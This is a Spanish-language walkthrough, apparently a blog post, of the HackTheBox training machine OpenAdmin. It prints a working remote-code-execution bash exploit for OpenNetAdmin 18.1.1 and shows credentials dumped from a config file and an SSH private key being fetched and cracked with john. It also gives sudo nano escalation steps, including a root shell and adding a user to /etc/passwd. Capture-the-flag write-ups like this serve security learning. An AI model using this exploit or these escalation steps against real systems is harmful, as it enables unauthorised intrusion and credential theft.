OpenAdmin es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad fácil.
La primera máquina de HackTheBox de 2020 parece ser un regalo de año nuevo de HTB para ganar algunos puntos y clasificar a todos sus usuarios. Esta máquina es muy simple y directa, comencemos.
Índice
Escaneo de puertos
Como de costumbre, agregaremos la IP de la máquina a mi etc / hosts como openadmin.htb para un acceso más fácil. El siguiente paso es ejecutar namp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
$ cat nmapinitial.nmap # Nmap 7.70 scan initiated Mon Jan 6 22:09:51 2020 as: nmap -sV -sT -sC -oA nmapinitial openadmin.htb Nmap scan report for 10.10.10.171 Host is up (0.053s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA) | 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA) |_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Jan 6 22:10:02 2020 -- 1 IP address (1 host up) scanned in 11.23 seconds |
Observamos que tenemos abiertos los puertos 22 y 80, comenzaremos viendo que hay en ese puerto 80 y una visita rápida al mismo nos muestra la página de bienvenida predeterminada del sitio web de Apache2.
Utilizaremos entonces dirb para ver que uri podemos encontrar en este dominio:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
# dirb http://openadmin.htb/ /usr/share/wordlists/dirb/common.txt ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Mon Jan 6 22:24:44 2020 URL_BASE: http://openadmin.htb/ WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://openadmin.htb/ ---- ==> DIRECTORY: http://openadmin.htb/artwork/ + http://openadmin.htb/index.html (CODE:200|SIZE:10918) ==> DIRECTORY: http://openadmin.htb/music/ + http://openadmin.htb/server-status (CODE:403|SIZE:277) ---- Entering directory: http://openadmin.htb/artwork/ ---- ==> DIRECTORY: http://openadmin.htb/artwork/css/ ==> DIRECTORY: http://openadmin.htb/artwork/fonts/ |
No pongo el análisis completo pero encontraremos los siguientes directorios:
1 2 3 4 5 |
/artwork /marga /music /ona /sierra |
Deberemos centrarnos en el directorio de ona, el resto no es muy útil. Abrimos la página http://openadmin.htb/ona y vemos el panel de control de un sistema de gestión de direcciones IP (IPAM) de código abierto llamado OpenNetAdmin.
Una advertencia en la página de inicio nos muestra que la versión de la aplicación es la 18.1.1, así que vamos a buscar en google si existe alguna vulnerabilidad para dicha versión y encontramos que la misma es vulnerable a RCE (Remote Code Execution). Descubrimos entonces que esta caja es víctima de un exploit descubierto recientemente.
Encontramos dos exploits en ExploitDB, uno para metasploit y un script en bash.
En nuestro caso utilizaremos el script en bash, cuyo código es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution # Date: 2019-11-19 # Exploit Author: mattpascoe # Vendor Homepage: http://opennetadmin.com/ # Software Link: https://github.com/opennetadmin/ona # Version: v18.1.1 # Tested on: Linux # Exploit Title: OpenNetAdmin v18.1.1 RCE # Date: 2019-11-19 # Exploit Author: mattpascoe # Vendor Homepage: http://opennetadmin.com/ # Software Link: https://github.com/opennetadmin/ona # Version: v18.1.1 # Tested on: Linux #!/bin/bash URL="${1}" while true;do echo -n "$ "; read cmd curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1 done |
Descargamos y ejecutamos el mismo y automáticamente tendremos un shell como www-data:
Dado que el usuario www-data no tiene muchos privilegios, no podremos realizar ninguna tarea importante. Vamos a intentar escalar su privilegio al siguiente usuario.
Primero necesitaremos saber que usuarios existen en la máquina, comprobamos si podemos ver el contenido del fichero /etc/passwd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
$ ls /etc/passwd /etc/passwd $ ls -l /etc/passwd -rw-r--r-- 1 root root 1660 Nov 22 18:01 /etc/passwd $ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false joanna:x:1001:1001:,,,:/home/joanna:/bin/bash $ |
Encontramos muchos usuarios en esta máquina, pero no sabemos con cuál de ellos deberíamos comenzar a obtener el privilegio, aunque hay algunos usuarios que podrían ser útiles como jimmy o joanna ya que no parecen usuarios utilizados por algún servicio.
Comenzamos a enumerar la máquina buscando pistas y después de un tiempo encontramos un fichero en PHP llamado “database_settings.inc.php” en el directorio /opt/ona/www/local/config, el cual contiene credenciales de base de datos MYSQL.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
$ cat /opt/ona/www/local/config/database_settings.inc.php <?php $ona_contexts=array ( 'DEFAULT' => array ( 'databases' => array ( 0 => array ( 'db_type' => 'mysqli', 'db_host' => 'localhost', 'db_login' => 'ona_sys', 'db_passwd' => 'n1nj4W4rri0R!', 'db_database' => 'ona_default', 'db_debug' => false, ), ), 'description' => 'Default data context', 'context_color' => '#D3DBFF', ), ); $ |
Escalada de privilegios
Ahora que hemos obtenido una contraseña y varios usuarios, vamos a probar si podemos acceder a la misma con la información obtenida hasta el momento y, lo conseguimos con el usuario jimmy.
Después de revisar la home de dicho usuario, parece que la flag del mismo no se encuentra aqui, así que seguimos enumerando. Comprobamos los grupos a los que pertenece dicho usuario y encontramos una ruta en la cual se encuentran varios ficheros php, y descubrimos que el siguiente paso es escalar al usuario johanna.
Observamos que tenemos acceso a la configuración de apache y encontramos que existe un sitio en la dirección 127.0.0.1 y puerto 52846
Así que ejecutamos un curl contra esa dirección y el fichero main.php descubierto antes para conseguir la clave ssh del usuario joanna
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
jimmy@openadmin:/var/www/internal$ curl http://127.0.0.1:52846/main.php <pre>-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8 ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE 6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI 9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4 piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/ /U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH 40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb 9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80 X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr 1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2 XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79 yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM +4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN -----END RSA PRIVATE KEY----- </pre><html> <h3>Don't forget your "ninja" password</h3> Click here to logout <a href="logout.php" tite = "Logout">Session </html> jimmy@openadmin:/var/www/internal$ |
Obtenemos el hash de la clave pem con ssh2john
1 |
ssh2john ~/.ssh/joanna.pem > joanna.hash |
Y usamos john para obtener la contraseña del mismo:
1 |
john --wordlist=/usr/share/wordlists/rockyou.txt joanna.hash |
Y descubrimos que la contraseña de la clave es “bloodninjas”, así que probamos a acceder a la instancia con la clave pem y la password obenidas del usuario joanna.
Estamos dentro de la máquina, y como vemos en la captura anterior también tenemos la flag del usuario.
Escalado a root
Para obtener acceso a root en esta máquina escalando privilegios desde el usuario Joanna, tenemos varias opciones y vamos a explicar 3 de ellas.
Comprobaremos como primer paso los permisos de root que tiene este usuario:
Vemos que tenemos permisos de sudo en /opt/nano y /opt/priv así que vamos ahora con las opciones indicadas.
Opción 1: obtener el indicador raíz de nano
Como vimos en el anterior comando sudo -l, revelamos que podíamos usar sudo sin contraseña con nano y /opt/priv, veremos como con 3 simples comandos obtendremos la flag.
Editamos entonces dicho fichero con sudo:
1 |
sudo /bin/nano /opt/priv |
Pulsaremos CTRL+R para leer un archivo e introduciremos /root/root.txt
Pulsamos enter y nos mostrará por pantalla la flag de root, reto superado!
Opción 2: obtener una shell de root desde nano
Si visitamos la web de gtobins podemos ver las posibilidades de escalado de este editor de textos.
Como vemos en la misma, podemos escalar privilegios simplemente con estos comandos:
1 2 |
^R^X reset; sh 1>&0 2>&0 |
Así que, volvemos a editar el fichero con nano:
1 |
sudo /bin/nano /opt/priv |
Ahora pulsaremos CTRL+R, después CTRL+X y después escribiremos el texto que indica:
Pulsamos enter y listo, tenemos una shell de root con la que poder obtener la flag deseada.
Opción 3: agregarse como usuario root
Volvemos a editar el fichero con nano y pulsamos CTRL+R para leer el archivo /etc/passwd
Añadimos entonces nuestro usuario a dicho fichero:
Guardamos el mismo y nos logueamos con el usuario que acabamos de añadir y listo, somos root y tenemos la flag
Espero que os haya gustado y nos vemos en la siguiente máquina.